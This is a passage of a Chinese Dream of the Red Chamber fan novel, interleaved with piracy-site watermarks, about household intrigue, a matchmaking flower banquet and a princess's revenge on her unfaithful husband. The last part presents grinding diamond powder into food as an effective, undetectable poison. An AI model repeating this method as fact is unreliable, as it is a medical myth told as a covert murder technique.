佳婉和佳姝也有些尴尬,只是顾晓根本没把事情挑明,只给她们另安排了院子,而且还是跟风荷院根本不在一个方向的院子,黄氏陈氏也没这个资格叫亲生女儿晨昏定省,若是不住在一个屋檐下,顾晓又是个图省事的,除了初一十五,也不叫人往正院那边去,她们以后想要见女儿都费劲。这也让两个小姑娘都松了一口气。 她们这样从小娇养的孩子就是这样,脸皮比较薄,很多时候也不懂得拒绝,如今直接分开来,反倒是好事。 不仅如此,佳婉佳姝身边留着的教引嬷嬷也受了教训,毕竟这等事情,她们若是早点报上来,便不会如此,只怕早就与黄氏陈氏沆瀣一气,硬是瞒着正院那边。 顾晓如今就借口两个姑娘身边教引嬷嬷数量多了,年纪也不小,该回去含饴弄孙,因此,四个教引嬷嬷直接打发出去三个,只各自留下一个素日比较老实的,又私底下跟佳婉佳姝说了,要是哪个嬷嬷还想要辖制她们,尽管过来跟她说。便是出嫁的时候须得陪嫁一个嬷嬷出去,也未必就得是从小的乳母,实在不行,等回头宫里头再往外放人,聘个宫里出来的姑姑跟着一起出嫁,还更体面! 留下来的教引嬷嬷被杀鸡骇猴了一回,如何还敢在自家姑娘面前拿大,姑娘脸皮薄,不想生事,可这家里做主的还是娘娘,便是姑娘出嫁了,她们能不能跟着,也得看娘娘的意思。 一时间,府里头原本有些散漫地风气都一下子整肃起来,一个个生怕自己什么地方做得不周到,然后被打发出去。丢了脸面还是小事,丢了营生,可就不好了! 西院那边,李氏打听到消息,也是心里一突 ,她其实也是个有些贪财的性子,原本徒嘉泽小时候,他许多份例都是归到李氏那边去的,李氏还借着徒嘉泽的病中饱私囊了一番。也就是后来,徒嘉泽搬前头去了,这事才算是作罢,若是徒嘉泽还住西院,只怕这次丢脸的就还有她了! 李氏忍不住偷偷念了一声佛,她没有黄氏她们那样的危机感,作为上了玉牒的侧妃,她除了府里的月例,其实还是有俸禄的,只是不多罢了。徒嘉泽又是她生的,按照规矩,徒嘉泽分府出去,她就能跟着去,到时候就是府里的老太君,可以辖制儿媳妇当家做主的那种,自然没必要有多紧张。 只是,随着年龄的增长,李氏如今担忧的就是徒嘉泽的婚事。 徒嘉钰跟徒嘉泽年纪相差并不大,放在外头,这个年纪,已经开始相看起来了。实际上,荣国府那边,张氏就已经在给贾瑚相看,她怕自己要是不早点将贾瑚的婚事定下来,说不定贾史氏就要乱点鸳鸯谱。 偏生顾晓是半点不着急,在她看来,徒嘉钰这个年纪还是个初中生呢,给初中生介绍对象,这不是作孽嘛!即便不像是后世一样,等到二十岁以后,也得十八岁以后再说! 但顾晓不着急,李氏却着急了,她琢磨着,再拖下去,岂不是好姑娘都被别人选走了,能留给徒嘉泽的能是什么好的!李氏对儿媳妇要求还挺高,又要出身不错,还得嫁妆丰厚,最好还得长得好看,徒嘉泽生得不如徒嘉钰和末儿,这一直让李氏有些耿耿于怀,她其实有的时候夜深人静的时候也会想,若是徒宏远还在,随着她年龄的增大,原本就不算出挑的美貌也会日渐稀少,那徒宏远还能和以前一样吗?所以,她琢磨着,得给徒嘉泽选个长得好看的媳妇,以后自己的孙子孙女才能更好看。 这既要又要还要,李氏自然希望能早早开始挑起来,只是徒嘉钰排在前头,他都不着急,李氏着急也没用! 琢磨一番之后,李氏便想要挑唆黄氏出头。 佳婉年纪比徒嘉泽还大两个月呢,男孩子可以不用着急,但女孩子青春有限,不早点将婚事定下来,拖下去可就找不到什么好的了! 可黄氏也不傻,之前的事情,虽说谁也没有说她什么,但是,终究在正院那边被记了一笔,如今再跳出来,说不定回头就被当做出头鸟给打了! 李氏无可奈何,只得暂且忍耐。 实际上顾晓也就是一时没想通,她很快就意识到,自家成了婚嫁场上的香饽饽,最直接的表现就是,送到府里来的各种宴会帖子变多了。 以前因为府里没有男主人,顾晓身为太妃,说到底还是个寡妇,因此许多社交宴会其实是不会请她的,有的即便帖子礼貌性地送过来了,她也很少会去,但如今,帖子上虽说没有明说,可是略看一下里头的内容,就知道,这其实就是类似于少年男女的相亲宴。 当然不是让少年男女在宴会上见面,而是各家将适龄的儿子女儿带出去,告诉其他人,我们家孩子准备议亲了,有想法的,就可以先打听一下,两家有了默契,才好请媒人来说亲。 顾晓拿着帖子,不免有些发愁。任何时代,标新立异都不会有什么好结果,她可以对外推脱徒嘉钰命里不该早娶,但是,佳婉和佳姝还真不能议亲太晚。早点订下亲事,可以借口准备嫁妆,家里舍不得之类拖个几年,但是却不能拖个几年也不议亲,对外人一说,就只当时顾晓不上心,还要低看了她们两个。 心里只略别扭了一番,顾晓也就想明白了,当下又将几张帖子都看了一下,然后留下 一张,便吩咐道“去跟两个姑娘说一声,就说过上几日,敏勤郡王府那边有个赏花宴,叫她们准备一下,回头跟我一块过去!” 敏勤郡王也是宗室里的老人了,其父是敏王,是太上皇的兄弟,却远不如太上皇长寿,前几年就薨逝了。这直接导致敏勤郡王府几个适龄的孩子一直没能议亲,如今府里除了服,立马就开始张罗了起来。 佳婉和佳姝两人院子相邻,隔着墙说话都听得清清楚楚,各自得了信之后,便先凑到了一块,佳姝也就罢了,她其实年龄还小一些,而佳婉算虚岁的话,明年也该及笄,自然差不多到了该议亲的年纪。 佳姝调笑了姐姐几句,结果佳婉也毫不示弱,跟着还被反过来嘲弄了,姐妹两个闹成一团,然后就开始发愁。 她们之前也没怎么出门赴宴过,许多事情压根不明白,这赏花宴过去,要不要给主人家带点什么礼物,还有就是过去之后,是不是要吟诗作赋,另外,跟其他年龄差不多的女孩子在一起,需要注意一些什么,这都让她们有些紧张。 “要不,咱们去问一下先生?”姐妹两个觉得顾晓之前说的叫她们准备一下,其实是在考验她们,自然不好再跑去正院询问个究竟,只得退而求其次,去问她们的女先生周卫氏。 周卫氏也是大家出身,对于许多社交礼仪还是比较了解的,听得姐妹两个的烦恼,心里暗自惆怅了一下,毕竟,等着姐妹两个出嫁了,她这个女先生可就没学生可教了!她却是不知道顾晓的打算,琢磨着自己这些年也攒下了不少积蓄,回头看看是不是求一下顾晓,看她能不能帮忙引荐一下,到其他人家再做个西席。 心里这般想着,周卫氏也是尽心尽力,先问过了赏花宴的情况,然后便笑道“这倒也没太多讲究,打扮一下过去便是。随身带上一些小玩意,遇到想要认识的姐妹,可以交换一下,不过,最好不要交换针线和比较私密的东西就行!这等赏花宴,许多时候都是你们年轻女孩子凑在一起玩,说不定就有人提议作个诗什么的,既然是赏花,这个季节,无非就是菊花与桂花,你们这几日先自己准备一下,实在不行,回头到我这里来,我给你们作了,你们背下来便是!” 听得周卫氏说得简单,两人也是松了口气,忙先谢过了,佳婉没有说要周卫氏代笔的事情,佳姝却是赶紧说道“先生,作诗的事情,我肯定是不成的,就不先为难自己了,还请先生先帮个忙,好早点背下来,要不然我怕丢丑!” 周卫氏见佳姝这般,不免失笑,当下便一口答应了下来,再一瞧,连佳婉也意动起来,觉得先拿周卫氏的打底,自己试着作一作,到时候灵活应变。 不几日,就到了赏花宴那天,一早,佳婉和佳姝便打扮一新,往正院去了。 作者有话要说 微云烟波向你推荐他的其他作品 第 164 章 赏花宴 第164章赏花宴 佳婉和佳姝素来都是差不多的打扮,今儿个却是以佳婉为主,两人都穿着对襟褙子,只是一个是玫瑰二色金百蝶穿花的,一个是天青缂丝折枝花样的,站在那里,就是两个娇俏美人。 顾晓再看看两人的头面首饰,不免点了点头,又笑着问跟着她们的人“可带了备用的衣裳鞋袜?” 几个丫头连忙点头“回娘娘的话,都带着呢!”这出门作客,备着更换的衣裳是必须的,要不然,若是席上不小心沾了油污,叫人看见了可不礼貌。 顾晓见两个孩子有些紧张,又笑道“都是亲戚家里,请的也多半是宗室里的姑娘,回头见面的机会多着呢!你们都是小女孩子家家的,便是有什么不周全的地方,遮掩过去也便罢了,很不必绷着!” 佳婉佳姝听了,略放松了一些,顾晓看了看墙角的座钟,这会儿已经是八点多,当下便起身说道“时候也不早了,该出发了!” 敏王当年就比较低调,或者说,是个喜欢宅在自个府里找乐子的。他荤素不忌,虽说孩子不算多,但是府里头姬妾内宠都是不少。以至于敏勤郡王承爵之后,光是打发那些无子的姬妾和内宠,都废了不少功夫。 原本顾晓琢磨着,这次去赴宴的应该多半是宗室,等到了之后才发现,他们家其他亲戚竟是也不少,有的的确是小门小户,有的在京中却也算得上是有名有姓的人家了,甚至还有理国公府的人也跟着过来了。 顾晓略一打听,才知道理国公府如今的二爷柳节跟敏勤郡王的同胞弟弟是连襟,因此这次赏花宴便也给理国公府那边下了帖子,原本不指望他们府里有人过来,但想不到,还是来了。 理国公府来的不仅是自家的姑娘,还有个表姑娘,是理国公府袭爵的一等子柳芳夫人的娘家侄女。柳芳这个夫人是继室,不过柳芳原本原配只留下个女儿,前些年就出嫁了,继室倒是给柳芳生了一子一女,因此在府里头如今都没人会提起先头那位夫人。如今这位夫人姓孙,父亲不过是个千户,放在外头算是不错,但是在一众勋贵诰命里头,委实出身有些不足。她父亲去世之后,她兄长也有些不成器,在理国公府的提携下,才混个了小官当着,自然下一辈的婚事愈发成了问题。 孙氏这次带着女儿和侄女一起过来,主要还是为了借着这个机会给侄女找个门第高一点的人家,便是跟她一样,做个继室也行。 宾客们带来的都是家里适龄的女孩子,也亏得敏勤郡王府挺大,要不然,这么多人过来,还真是有些塞不下,饶是如此,身份低一点的,也都快坐到回廊上去了。好在对跟过来的女孩子,倒是没有这般,而是由郡王府的两个姑娘出面,带着一帮女孩子直接先往花园那边去了。 小姑娘们可以凑一块玩耍,或许有些小姑娘还肩负着帮着父母兄长相亲的任务,但终究不会明说,只是一起玩乐罢了。而作为家长,可就没那么轻松了。 既然是出来相亲的,难免要说说自家孩子的长处,另外还得夸夸别的孩子。 这让其实有些社恐的顾晓着实有些艰难,好在她身份在那里,能够与她交流的也只有宗室的那些王妃。 佳婉佳姝刚刚已经在大家面前亮过相,得到的评价都不低。 虽说来的小姑娘都是一身新衣,但有经验的人就看得出来,到底谁是日常这样打扮,谁是因为出门才这样打扮的。像是佳婉佳姝显然对身上穿的什么根本不怎 么在意,可见在家的时候就是娇养的。有的小姑娘就比较小心,生怕衣服污了甚至皱了,说不定她出门能穿的衣服就没几件。 反倒是光看头上那些首饰,反倒是不怎么看得出来,这出门拆借一下姐妹的甚至是亲戚的也是有的,这些戴一次也不至于就折旧了。甚至,不上手的话,纯金的跟包金的看起来也没什么区别,外头药玉做的镯子,乍一看跟真玉的也是一样的。 以前都听说顾晓这个太妃对庶子庶女都极宽厚,如今看起来果然如此。许多家里有适龄儿子的,就有些蠢蠢欲动起来。 对于不打算联姻的人家来说,娶个有爵位的宗室女其实好处很多,不容易被牵连到政治斗争之中不说,说出去也体面,若是对方嫁妆还丰厚,那就更体面了。 当着顾晓的面,这些人不好直接夸耀自家儿子,免得显得太过司马昭之心,因此只得隐晦地跟着夸耀自己的女儿,表达了自家女儿想要跟佳婉佳姝做闺蜜的意思,这样一成婚,小姑子是闺蜜,姑嫂关系铁定和谐啊! 顾晓反正只是含笑,夸奖尽数收下,一说到其他,那都是好好好,对对对,反正一句实在话都没有。其他人也不气馁,便是人家真的有心,也不可能现在就答应下来,回去之后私底下还是要打听一下情况的,这会儿只要能让顾晓记得他们家的情况,那就是胜利。 今儿个赏花宴,优质少女着实不少,主角还是敏勤郡王府的两个女孩子,她们因为守孝的缘故,年纪小的那个今年也十七了,年纪大的那个已经十八,已经是不能再拖下去的年纪。 这两个女孩子一嫡一庶,但都是从小养在郡王妃身边,如今到了这个年纪,郡王妃也急啊!只是一家女百家求,面上郡王妃却表现得颇为笃定,言笑晏晏,很是表现出了主人家的风范。 这边正自闲聊,外面似乎起了一阵骚乱,敏勤郡王妃不免皱起了眉头,直接一个眼色,她身边的一个管事媳妇就悄无声息退下,打听消息去了。 不多久,那管事媳妇就回来了,悄悄在敏勤郡王妃耳边轻声说了几句话,敏勤郡王妃面色便是一变,好在她也算是见多识广,很快就镇定下来,又低声吩咐了几句。 其他人也没不识趣地开口询问,这在主人家的地盘,打了主人家的脸,这就是恶客,谁也不想出这个头。 因此,瞧着敏勤郡王妃脸色恢复了正常,大家便当做什么事也没发生过一样,又开始了新一轮的闲聊。 顾晓吃瓜的心情蠢蠢欲动,以至于闲聊的时候看似在搭话,其实心思都已经飞到九霄云外去了。 敏勤郡王妃见大家都有些心不在焉,振作了一下精神,便笑道“今儿个既然是赏花宴,咱们也别光坐在这边说话,正好去看看咱们府里的花养得怎么样!(笔趣.の阁.” 大家都连声称是,各自起身,一道往园子里头去了。 敏勤郡王府其实用的还是当年的亲王府,只是分割了开来,去了一些只有亲王才能用的纹饰,便继续住着了!这也是因为敏王虽说有些荒唐之处,但行事低调,而且不管是做皇子还是做亲王,都很拉的下脸拍马屁,因此,他薨逝之后,才算是得了恩典,将王府一分为二,大头作为郡王府,小的那部分给了敏勤郡王的同胞弟弟做镇国将军府,也就是几个庶子被分了出去。 这花园却没有经过分割,当年敏王也是个会玩能折腾的,他这园子放在京中也很看得过去了。 才进了园子,馥郁的桂花甜香就飘了过来,只叫人精神一震,又隐约听到那边女孩子 顽笑的声音,敏勤郡王妃听了,便建议道“走吧,咱们正好也去看看孩子们在做什么?” 微云烟波提醒您《红楼太妃要躺平》第一时间在[笔趣阁&,记住[(. 一边一个丫头笑道“听说是在作诗行令呢!” 这话一说,便有几个人面上露出了一点讪然来,自家孩子自家知道,说不得今儿个就要露怯。反倒是几个原本门第就不高的,倒是没什么想法,她们带着孩子过来,原本就没指望在这么多贵女圈子里头掐尖露头,毕竟,你小门小户的,硬要那些大家小姐的强,这不是自讨没趣嘛! 顾晓却是早听说佳婉佳姝找人做了枪手,因此毫不担心,看起来就极为笃定,叫一直看着顾晓的几位夫人心里也有些不确定起来。要是又有钱,又有才,这样的条件,自家会不会太高攀了!只是,之前也不曾听说平王府的姑娘有才女的人设啊! 等走过去,听明白这些小姑娘行的令之后,大家都松了一口气。 一帮小姑娘在的地方却是一处小山坡,山上还有溪水蜿蜒而下,溪水边上设置了小几和矮榻之类,大家就坐在矮榻上,上游又有一枝桂花顺流而下,旁边有个穿着鹅黄色衣裙的少女手持鼓槌,在那里击鼓,鼓点一停,看那枝桂花在谁面前,便由谁行令。行的也不是什么新令,只需要说一句带着桂花,菊花的诗句就行,可以是古人诗句,也可以自己现作,但是不能重复,要不然,就得罚酒。 这其实就是比较简单的飞花令,饶是如此,也有几个这会儿已经两靥微红,显然已经错了好几次,被罚了好几次。 佳婉和佳姝两人比邻而坐,神情都有些紧张。她们读书并不是很用心,诗词之类的也学过,但是真正记下来的并不算多,这令已经行了一阵子,之前的人已经将比较常见的诗句说了个七七八八,她们手里倒是攥着周卫氏帮忙写的诗,但这令又不是只行一次就结束,毕竟溪水就这么长,上游有人看着往水里放桂花呢!偏生为了防止作弊,大家的座位都间隔了一些距离,想要交头接耳都是不行,只得在那里苦思冥想,免得轮到自己的时候丢脸。 那击鼓的少女也是出身宗室,她因为母亲出身将门,在家的时候,舞刀弄枪比较多,读书什么的,那真是能敷衍就敷衍,她第一时间抢到了击鼓的差事,这会儿脸上就带出了明显的得意来,只看得几个与她熟悉的少女都是气得牙痒痒,只恨自己当时怎么就慢了一步,没抢到这个差事。 瞧见郡王妃一行人过来,一群少女忙起身行礼,郡王妃笑道“我们就是来看看,你们继续玩吧!” 说着,她不动声色地四处打量了一番,但也没看出什么异常来,当下便若无其事地带着一行人在不远处的一座亭子那边歇了下来。那边已经有下人搬来了矮榻椅子和雕花填金高几,榻上都铺了锦缎包边的芙蓉簟,高几上用攒盒摆放着一些精巧的点心,又有丫头重新奉了茶,摆在几上。大家各自落座,瞧着那边鼓声又起,不免都是一乐。 她们的到来还是影响了那帮小姑娘的,有几个原本略歪着的少女已经恢复了坐姿,一个个看起来都淑女了许多。 鼓声骤停,大家都探头看去,见那枝桂花刚好经过一个穿着豆青色满绣紫藤褙子的少女,少女一惊,旁边伺候的丫头从溪水里取了桂花,递到了她手里,她伸手接过,思索一番,便说道“满园花菊郁金黄,中有孤丛色似霜。” 说出来的时候,她原本松了口气,结果就听几个人笑道“错了,错了,刚刚这句柔姐姐说过了!快罚酒三杯!” 少女顿时露出沮丧之色,自己取了面前矮几上的自 斟壶, 连饮了三杯。虽说喝的只是比较淡的桂花酒,但是三杯下去,她也是脸一红,连忙拿筷子夹了一片雪藕吃了,压下了那几分酒意,这才说道“你们尽是欺负我,我都轮了三回了!” “兰妹妹,是你自个运气好,怎么就我们欺负你了!”几个小姑娘笑嘻嘻说道,倒是上头击鼓的少女窃笑了两声,她素来眼神好,都看着呢! 少女正好瞧见,一下子就叫嚷起来“好哇,就是静芝你搞的鬼!换人,一定要换人!” 静芝听了,忙争辩道“怎么就是我搞鬼了,就是你运气不好而已!” 几个小姑娘嚷嚷了一番,忽然想到还有大人看着呢,很快偃旗息鼓。静芝死活要继续击鼓,几个人拗不过她,一商量,直接叫人拿了一扇屏风过来,挡住她的视线,免得她再“公报私仇”。 一边一位夫人有些尴尬地说道“我家这丫头被惯坏了,性子有些顽劣,见笑见笑!” 顾晓转头过去一看,发现是宣王府的次媳,看她神情,要是女儿就在自己面前,只怕已经一戒尺敲上去了。 顾晓笑道“令爱天真活泼,我倒是喜欢得紧呢!” 宣王府二|奶奶嘴里谦虚了几句,心里却是发苦,你喜欢有什么用,你儿子又不能娶我家这丫头。静芝已经及笄,但性情跳脱,跟活猴一样,她原本指望着在外头好歹装出个淑女样子来,结果竟是没一会儿就露了原形,这就有些尴尬了。 这年头,对女孩子的要求,自然是以贞静为重,活泼可爱也可以,但不能过头。而静芝,虽说名字里头有个静字,可惜,性子却是相反,看刚才那架势,有点活泼过头了。 宣王府二|奶奶偷眼看了一下几个之前有些意向的夫人神色,心中哀鸣一声,今儿个算是白来了,回去之后,非得找个严厉一点的教引嬷嬷,将自家那丫头性子掰过来不可。 这场赏花宴办得还算是成功,等着下午散去的时候,许多少女还有些意犹未尽,一些刚刚熟悉起来,性情相投的女孩子恋恋不舍地告别,有的还商议着结个社,回头轮着作东道,小姐妹们一起热闹热闹。 佳婉和佳姝也结识了几个小姐妹,她们两个之前带了几个红珊瑚打磨的戒指,对方也带了些小礼物互赠,又约了到对方家里玩,就差直接义结金兰。 坐在马车上,顾晓笑道“有要好的小姐妹了?” 佳婉有点害羞地点了点头,佳姝倒是大大方方说道“是啊,清宁姐姐和薇姐姐都很好的,还有菲妹妹,也很有意思!” 顾晓也没问那几个女孩子是谁家的,只是笑道“既然这样,回头你们下了帖子,请人到咱们家玩就是了!” 佳婉这回也放松下来,兴冲冲说道“还有半个多月就是清宁的生日,到时候我跟妹妹一块过去给她祝寿!” 顾晓点了点头,忽然想到一件事,说道“我在亭子里,看到溪边有一处似乎空了一个位置,那边是不方便坐吗?” 佳姝拧了拧帕子,说道“是一位陈姑娘,她丢了一只八宝镯,硬说是另一位许姑娘拿的,两人便闹将起来,结果那八宝镯后来被一个丫头捡到了送过来,那位陈姑娘觉得丢脸,就说自己不舒服,找了个地方歇着了!” 佳婉也忍不住说道“也就是那位许姑娘脾气好,要是我被冤枉了,非扇她一巴掌不可!一个镯子罢了,一时找不到,叫人私底下去寻便是,竟是在别人家里闹将开来,真叫人受不了!” 顾晓见姐妹两个义愤填膺的模样,不 由一笑,说道“你们啊,如今算是何不食肉糜了!你们一年到头,头面首饰能有好几套,小时候的戴不了了还都留着,但是其他人家,说不定一大家子就那么一两件能拿得出手的首饰,这突然丢了,人家小姑娘家家的,能不害怕?” 佳姝一愣,又摇头说道“不应该啊,那位陈姑娘可是齐国公府的!” “说不定只是齐国公府的旁支,祖上传下来的东西,就没几样了呢!”顾晓随口说道,又问道,“那位许姑娘又是谁?” 佳婉答道“许姑娘的祖母原本出身虞国大长公主府……” 明白了,这真的算是皇家的穷亲戚了,虞国大长公主那是太|祖皇帝的妹妹,她当时嫁的也是开国功臣,只是却一直无子。太|祖皇帝再如何,也不能叫功臣绝嗣,虞国大长公主便允许驸马纳妾,又将庶长子养在了自己膝下。但是既然都允许驸马纳妾了,这不可能生一个儿子就停手,说好听点,是一个儿子不保险,万一夭折了呢!说不好听一点,那就是驸马不能提上裤子不认人,将小妾当生孩子的工具,之后就不管不问吧! 因此,名义上,虞国大长公主有两个儿子,两个女儿。但既然不是亲生的,虞国大长公主又不是犯贱,非要给庶出的孩子争什么待遇。也就是驸马自个有爵位有钱,反正便是名义上养在虞国大长公主膝下的那个庶长子,最后也没继承到虞国大长公主什么遗产,人家临死之前,直接将自己的私产都赠给了宗人府,用于接济那些穷宗室。 那位许姑娘名义上算是皇亲,实际上跟皇家半点血缘关系都没有,祖母或许还能沾上生父那边的光,轮到她这一代,那位驸马家的爵位都差不多到头了,对于已经远了的亲戚,自然也顾不上。 这样一个要钱没钱,要势力没什么势力的小姑娘,好不容易被家里找了路子,打扮一新送到了贵女圈子里头来,但是明眼人一看,就还是个好欺负的。那位陈姑娘不找别人,就找她,不也是觉得在场的人里头就她最穷,最有可能贪图自己的镯子? 佳婉佳姝这次赏花宴,也算是真的见识到了世界的参差,以前她们也见识过穷人,但那根本跟她们不是一个阶层的,当时觉得可怜,事后也就过去了。今儿个遇上的那些小姑娘,算起来都跟自己有些拐弯抹角的亲戚关系,结果有许多,虽说看起来光鲜亮丽,但是仔细看一下,真是看得出来的窘迫。搞得她们都不知道该怎么和对方交流,生怕一个不小心,就触碰了人家的痛处。 顾晓在她们心中素来是个慈和宽容的嫡母形象,她们也很少在她面前遮遮掩掩,因此,这会儿两人便叽叽喳喳将这次遇到的不少人和事都说了一通,还顺便吐槽了一下。 虽说这些小姑娘在外头不会自爆其短,家丑外扬,但是,她们爆起其他人家的短却是挺利索的,姐妹两个因此吃了不少瓜,只恨之前自己总是待在府里,各家亲戚的事情竟是半点不知道,好在如今有了几个共同吃瓜的小姐妹,日子不会再无聊了。 而顾晓一开始听得有些漫不经心,毕竟能叫家里女孩子知道的事情,多半不是什么重要的事,但很快,顾晓听到了一个熟悉的名字,不免竖起了耳朵。 作者有话要说 第 165 章 “听说北静郡王有... 第165章“听说北静郡王有 “听说北静郡王有些不好了,陈国大长公主想要给世子娶妻冲喜呢!”随着当今上位,如今的公主是当今的几个女儿,原来的公主自动往上长一辈。像是陈国长公主,如今就是大长公主了。 水芮要死了?顾晓有些纳闷,没听说这个消息啊!而且,为什么水芮快死了,反而让水溶娶妻冲喜! 佳婉和佳姝也没听明白,之所以今儿个听说了这个消息,无非就是对于许多宗室人家来说,水溶是个金龟婿,所以,一些宗室人家跟北静郡王府有了接触。 一帮小姑娘知道得其实也不多,但是小女孩,对于冲喜什么的,本能地都有些不喜,只想要赶紧远离。 而顾晓之前也没怎么关注过北静郡王府的消息,怎么水芮突然就不好了,之前似乎也没什么征兆啊!至于这个让儿子娶妻冲喜的操作,也未免太迷了点。还不如早点备了棺椁寿衣冲一冲呢! 陈国大长公主原本与水芮夫妻感情极为亲厚,水芮也表现得特别情深义重,结果前几年,陈国长公主才发现,水芮居然跟王府臣僚的妻子有染。或者说,水芮原本就与那位勾勾搭搭,后来要娶公主,就将那位嫁给了僚属,婚后,双方依旧没停止。 陈国大长公主私底下叫人去查过那个臣僚家的孩子,长子据说跟水芮年轻的时候长得还有点像,只是水芮年纪大了,蓄了胡须,如今不太看得出来而已。而那个孩子,只比陈国长公主的长女小不到一岁。也就是说,自己当时怀着女儿的时候,水芮又把老情人的肚子搞大了。 陈国大长公主之所以确定那孩子是水芮的,还因为水芮私底下给了那个孩子不少帮助,甚至可以说是帮那位铺路了。先是给他找了名师,甚至还专门改了户籍,让他参加科举。只是他资质有限,能在竞争压力比较小的省份考上举人都是侥幸,按照先生的意思,那就是除非突然开窍,否则的话,只怕这辈子都考不中进士了。水芮不想让他蹉跎下去,便叫他以举人的身份补了个官,如今就在外头任官。 陈国大长公主之所以发现这事,也是水芮怀了侥幸之心,想要给自己外头的私生女一个好的归宿,让那个私生女给亲女儿作伴读,又在陈国大长公主那里说了许多好话,指望着能将那个私生女嫁个宗室有爵人家,从此不缺富贵。 陈国大长公主搞清楚情况之后,也是不动声色,她四个孩子,水溶年纪还小,对父亲又颇有些孺慕之心,她不可能直接跟水芮撕破脸。但是,她又不肯忍了这口气。 陈国大长公主当年在公主里头也是极受宠的,要不然,也轮不到她嫁到北静郡王府,尊荣了一辈子,她也不想让丑事外扬,变成一场笑话。 但她也不可能在原谅水芮了,她想要让水芮早点去死,叫水溶继承爵位。 陈国大长公主也是个狠人,为了麻痹水芮,她真的当做什么事没发生过一样,亲自做媒,还以赏赐的名义给那个私生女准备了一份嫁妆,让她顺利嫁给了一个郡王府的庶子,就算是庶子,回头封爵也是奉国将军,是一个郡王府僚属的女儿这辈子也不可能够到的层次。 她这般上心,水芮自然不会怀疑事情泄露,反倒是在老情人那里给自己表功了一回。 陈国大长公主早就在那家僚属家里安置了眼线,得知消息之后,愈发愤怒起来。 陈国大长公主下手也很果断,她年少那会儿,正是西学盛行的时候,传教士带来了大量来自西 方的书籍,有的事自然科学类的,还有的就是些什么戏剧小说之类。陈国大长公主一度对此很感兴趣,甚至还学了西语,然后她在一本书里头就看到了一个贵妇人为了给情人腾出位置来,给自家丈夫下毒的事情。 微云烟波的作品《红楼太妃要躺平》最新章节由?

说是下毒,其实也算不上,因为用的是钻石磨成的粉末,这玩意一度在西方贵族圈子里面很流行,一点点放在菜里头,半点也不起眼,但是吃下去之后,便很容易造成胃出血,而且,这并没有什么中毒反应,大家只会按照胃病来治,但这玩意黏在胃粘膜上,吃什么药都排不出去,时间长了,那就可想而知。

陈国大长公主少女那会儿只当是奇闻异事,如今想要报复丈夫,第一就想到了这个。她这样的身份,想要点钻石有什么难的。自从西方那边的钻石首饰流入中原之后,中原便也有了用钻石镶嵌首饰的做法。这玩意切割打磨比较困难,但这玩意其实很脆,将其磨成粉末并没有想象中那么难。

这种事情不好假于人手,陈国大长公主借口研磨颜料画画,私底下研磨了一些钻石粉末,然后,极小量地放在冰饮乃至羹汤里面,给水芮喂了下去。

一开始陈国大长公主还以为这玩意就是小说家言,其实没用,但是水芮吃下几次之后,没多久就出现了胃痛的症状,她便知道,这事成了!

水芮被折腾得不轻,请了不知道多少名医,陈国大长公主做戏做全套,还亲自进宫将专门给太上皇和圣上看诊的御医也请了回去,结果大家都没查出什么病因来,连说法都不同,这个说是寒邪犯胃,那个说是气滞血瘀,还有说胃阴不足的,开了不知道多少药,但一点用处都没有。

水芮如今是连半点难消化的东西都不能吃,只能吃流食,饶是如此,也有便血乃至呕血的症状。

陈国大长公主摆出情深义重的模样,各种求医问药乃至求神拜佛,在外人看来,已经到了病急乱投医的地步。这次据说就是某个和尚跟陈国大长公主忽悠了一通,这才有了这个所谓冲喜的说法。

实际上,水溶比末儿还小一点,这个年纪,如果只是定亲,那是常规操作,许多人家孩子生下来就直接结娃娃亲了,可这一下子就跳到成亲这个步骤上,未免就显得有些古怪。

好在这事跟顾晓关系不大,因为水溶虽说年纪小,辈分却大,跟圣上是平辈的,所以,要是在宗室里头选,也选不到她们这些平辈的府上。

顾晓又不知道北静郡王府的那些恩怨情仇,只是想着水芮原本看着不像是短命的样子,如今竟是到了这个地步,也难怪原著里头水溶早早就袭了王爵。

陈国大长公主之所以闹这么一出,实际上也是为了水溶袭爵的事情。她跟太上皇兄妹之间有感情,跟当今圣上可没有。太上皇之前病了一场,谁知道什么时候就没了。水溶不成亲,圣上就有借口表示他还小,不能直接袭爵,而成亲了,可就是大人了。

就像是史书上,但凡是小皇帝想要亲政,首先就得先大婚一样。这王府袭爵也是一个道理,多拖个几年,说不定就会生出变数来。因此,必须要趁着现在太上皇还在的时候,早点将事情定下来。

水芮不知道自己落得如此下场,是陈国大长公主一手为之,对于陈国大长公主的考虑也深以为然。有权不用过期作废,他们府里最重要的就是这个王爵,若是到了自己这一代就到了头,那他当初干什么娶公主呢?

陈国大长公主看着水芮奄奄一息躺在病榻上的模样,面上哀痛,心里却是冷笑,男人也就是到了这个时候才能老实,

要是水芮当年不给她希望也就罢了,她作为皇室与异姓王府联姻的工具,可以安安生生做个郡王妃,便是府里头有侧妃和庶子庶女什么的,她那会儿也有心理准备。

结果呢,水芮是得了便宜还卖乖,一边在外头表现得对她这个公主如何深情厚谊,一再保证无异生之子,结果呢,在外头儿女双全,老情人都人老珠黄了,两人居然还经常凑一块!这叫陈国大长公主一想到就觉得恶心!麻蛋,你真要是那么情深义重,你把人弄回来啊,结果叫人家顶着你僚属夫人的名头给你做外室,这又当又立的,玩得挺花!

水芮如今痛得厉害,御医已经给开了乌香,他刚服下一点,这会儿舒服了很多,强撑着问道“公主打算给溶儿娶谁家的姑娘为妃?▏(
陈国大长公主在水芮榻前坐了下来,叹道“咱们家这一代是尚不了主了,溶儿人品才学在那里,若是时间宽裕,那真是什么样的姑娘选不到,如今却是太仓促了些,只能先在宗室还有一些老亲里头选!” 水芮吃力地喘了口气“如今上皇还在,不少人首鼠两端,咱们家不好掺和进去,那等人家,咱们家还是不要沾为好!” 陈国大长公主听得这话,又是来气,装作拭泪模样,低头说道“溶儿是我的儿子,我自然不能叫他陷进去!唉,当初谁能想得到,最后会是这位占了便宜呢?反倒是金家那边见机得快,先凑过去了!如今那位厚待顺王,连着东平王府都跟着水涨船高,倒是轮到咱们和霍家,不上不下的,有些尴尬!” 水芮挤出一个笑来,安慰道“公主也莫要忧心,咱们家还是跟以前一样,莫要掺和到这等事情里头去,溶儿毕竟也有皇家血脉,怎么着也不会吃亏的!” 陈国大长公主又轻叹一声,说道“你好生养病便是,这些事情,有我呢!你要是有什么合适的人家,也早点跟我说!咱们家溶儿,什么样的配不上呢!” 水芮这会儿是真的觉得妻子贴心,便强撑着又安抚了陈国大长公主几句,这一个真心,一个假意的,竟是看起来颇为和谐。 